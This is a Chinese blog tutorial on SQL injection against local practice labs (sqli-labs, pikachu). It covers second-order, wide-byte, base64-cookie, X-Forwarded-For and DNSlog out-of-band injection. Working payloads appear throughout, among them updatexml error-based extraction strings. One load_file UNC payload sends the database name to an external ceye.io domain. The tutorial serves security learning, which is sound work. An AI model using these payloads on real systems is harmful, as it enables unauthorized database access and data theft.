server sql 去 反斜杠_SQL注入(四)

本文详细介绍了SQL注入中的二次注入问题,通过靶场实例展示了如何利用反斜杠转义绕过防御。同时,探讨了宽字节注入、Base64注入、XFF注入和DNSlog注入等不同类型的SQL注入攻击,分析了每种注入的原理和利用方法,最后提到了MySQL的secure_file_priv特性与防护手段。
摘要由CSDN通过智能技术生成

二次注入

db9d39756d096355a5e8c303fa8a20ec.png

查看数据库的用户名密码

57771fbcc391306ad5cb90e5d1bbee3f.png

进入靶场演示二次注入 sqlib-24

0b8368b3969d76973e80f992122f3fe0.png

首先使用admin/admin用户登录

987fda1864bdbb1cfbc9d6cecdfc736a.png

登录成功会提示更改密码,退出登录重新创建一个用户

用户名admin‘# 密码123

81b0e2e4c3fe73c9dcf265e7f176f2ed.png

ed2a0ab42e7e17c24265d08690842636.png

成功注册 后台查看

9258ea01730948270c7c9e7137fcee35.png

然后使用 admin’# 用户登录进来 修改密码

69ffc038cc2b3116973a57c29c44d267.png

返回数据库查看

c27667b5a4b1acdc7c7bfde0c9995db0.png

登录admin‘# 修改密码 反而admin的密码改变了

注册新用户过程中的处理代码:

if (isset($_POST['submit'])){# Validating the user input........  //$username=  $_POST['username'] ;  $username=  mysql_escape_string($_POST['username']) ;  $pass= mysql_escape_string($_POST['password']);  $re_pass= mysql_escape_string($_POST['re_password']);  echo ";  $sql = "select count(*) from users where username='$username'";  $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');    $row = mysql_fetch_row($res);  //print_r($row);  if (!$row[0]== 0)     {    ?>        <?php     header('refresh:1, url=new_user.php');       }     else     {           if ($pass==$re_pass)      {        # Building up the query.......           $sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";           mysql_query($sql) or die('Error Creating your user account,  : '.mysql_error());          echo "";          echo "
"
;            //echo "

User Created Successfully

";

可以看到传入的username、password、re_password仍均被mysql_escape_string进行了转义处理,但是在数据库中还是插入了admin'# 这是因为当数据写入到数据库的时候反斜杠会被移除,所以写入到数据库的内容就是原始数据,并不会在前面多了反斜杠。

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

这是因为上面的数据库更新语句,在用户名为 "admin'#" 时执行的实际是:

$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";

因为我们将问题数据存储到了数据库,而程序再取数据库中的数据的时候没有进行二次判断便直接带入到代码中,从而造成了二次注入。

宽字节注入

什么叫宽字节注入

【MySQL是用的PHP语言,然后PHP有addslashes()等函数,这类函数会自动过滤 ' '' null 等这些敏感字符,将它们转义成' '' \null;然后宽字节字符集比如GBK它会自动把两个字节的字符识别为一个汉字,所以我们在单引号前面加一个%df,从而使单引号逃逸。】

宽字节的注入条件

数据库编码设置成GB系列使用了转义函数,将GET、POST、cookie传递的参数进行过滤,将单引号、双引号、null等敏感字符用转义符 \ 进行转义。

URL转码空格   %20'      %27#      %23\      %5C

pakachu 测试

ee78d2825e172cd438b8c63588d8d57c.png

1%df' or 1   通过php转码  mysql转码 得到一个汉字' 从而达到过滤的效果%df'  =====>php(check_addsiashes)  ======>%df%5C%27  ======>MySQL(GBK) ======> 運'

查看字段数

输入3 sql语句报错 输入2用户不存在 所以为两个字段数

692cb7f18de394857bfec579d04aba8f.png

查看使用的用户名 数据库

4311959569f6bfe3a220fa4a28337291.png

6b9f42b4bbbb4e7a3e5221fd7e13f38e.png

base64注入

在base64注入页面中,程序获取GET参数ID,利用base64_decode ()对参数ID进行base64解码

if(!isset($_POST['submit']))     {      $cookee = $_COOKIE['uname'];      $format = 'D d M Y - H:i:s';      $timestamp = time() + 3600;      echo "
"
;      echo "";      echo '';      echo "";      echo '';        echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];      echo "
";        echo '';        echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];            echo "
";            echo '';      echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE 
";      echo '';            echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);      $cookee = base64_decode($cookee);      echo "
";      $sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";      $result=mysql_query($sql);      if (!$result)          {          die('Issue with your mysql: ' . mysql_error());          } $row = mysql_fetch_array($result);

注入请求

cookie 那段后面的数据 进行加密了 base64

正常测试 admin' and 1=1 admin' and 1=2 union select 1,2 等等 只不过把这些明文加密 php通过uname变量去获取加密数据

GET /sqli/Less-21/index.php HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,en;q=0.8,zh;q=0.5,en-US;q=0.3Accept-Encoding: gzip, deflateReferer: http://127.0.0.1/sqli/Less-21/Cookie: uname=YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLCh2ZXJzaW9uKCkpKSwwKSBvciAnDNT: 1Connection: closeUpgrade-Insecure-Requests: 1

获取数据库版本信息

payload: Cookie: uname=admin' or updatexml(1,concat(0x7e,(version())),0) or '

981620db0d3357da378cef5661a0e527.png

获取数据库名

payload: Cookie: uname=admin' or updatexml(1,concat(0x7e,(database())),0) or '

e791199f331eb3eb904362dd140c82bb.png

XFF注入

X-Forwarded-For简称XFF头,它代表了客户端的真实IP,通过修改他的值就可以伪造客户端IP。

HTTP请求头的头部参数X-Forwarded-for缺失,通过修改X-Forwarded-for的值可以伪造客户端IP,于是自己设置一个该参数,将X- Forwarded-For设置为127.0.0.1,然后访问该URL,页面返回正常,如图所示

85f29d7b65724595ea78497592b52aee.png

当 X-Forwarded-For:127.0.0.1'

ab02456cdb0304782fced1bf8e98e263.png

设置payload: X-Forwarded-For:127.0.0.1',updatexml(1,concat(0x7e,(select user()) ,0x7e),1)) #获取库名:X-Forwarded-For:127.0.0.1',updatexml(1,concat(0x7e,(select database()) ,0x7e),1)) #获取表名:X-Forwarded-For:127.0.0.1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='webcalendar' limit 0,1),0x7e),1))#获取字段名:X-Forwarded-For:127.0.0.1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='webcalendar' and table_name='user' limit 0,1),0x7e),1))#

DNSlog注入

dnslog注入也可以称之为dns带外查询,是一种注入姿势,可以通过查询相应的dns解析记录,来获取我们想要的数据

dns带外查询属于MySQL注入,在MySQL中有个系统属性

secure_file_priv特性,有三种状态

1. secure_file_priv为null  表示不允许导入导出2. secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹3. secure_file_priv没有设置时,则表示没有任何限制

可了解一下load_file和outfile

LOAD_FILE()函数LOAD_FILE()函数读取一个文件并将其内容作为字符串返回语法为:load_file(file_name),其中file_name是文件的完整路径此函数使用需要满足的条件

文件必须位于服务器主机上你必须具有该FILE权限才能读取该文件。拥有该FILE权限的用户可以读取服务器主机上的任何文件,该文件是world-readable的或MySQL服务器可读的,此属性与secure_file_priv状态相关文件必须是所有人都可读的,并且它的大小小于max_allowed_packet字节

UNC路径

什么是UNC路径?UNC路径就是类似\\softer这样的形式的网络路径。它符合 \\servername\sharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\\servername\sharename\directory\filename。例如把自己电脑的文件共享,你会获得如下路径,这就是UNC路径//iZ53sl3r1890u7Z/Users/Administrator/Desktop/111.txt

DNSLOG 平台  http://ceye.io

自己注册 我就不教了

fe2ff9026989e1603a6da1b27acad344.png

在mysql.ini 配置文件添加 securefilepriv =

保存然后重启mysql服务就可以看到了

f5bcd311d8508a284e59c18fdca9a787.png

payload: http://127.0.0.1/sqli/Less-2/?id=-1 and if((select load_file(concat('\\\\',(select database()),'.mvkn4u.ceye.io\\abc'))),1,0)--+

20aeccf60e249e62a47154a41312a40e.png

这样操作比较麻烦,github上有一款工具 基于python2编写 我就不示范了 ( 懒得装2.7的环境)

https://github.com/ADOOO/DnslogSqlinj

ok 至此 SQL注入的n多方式差不多就结束了,明天是SQL注入绕过waf的讲解。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值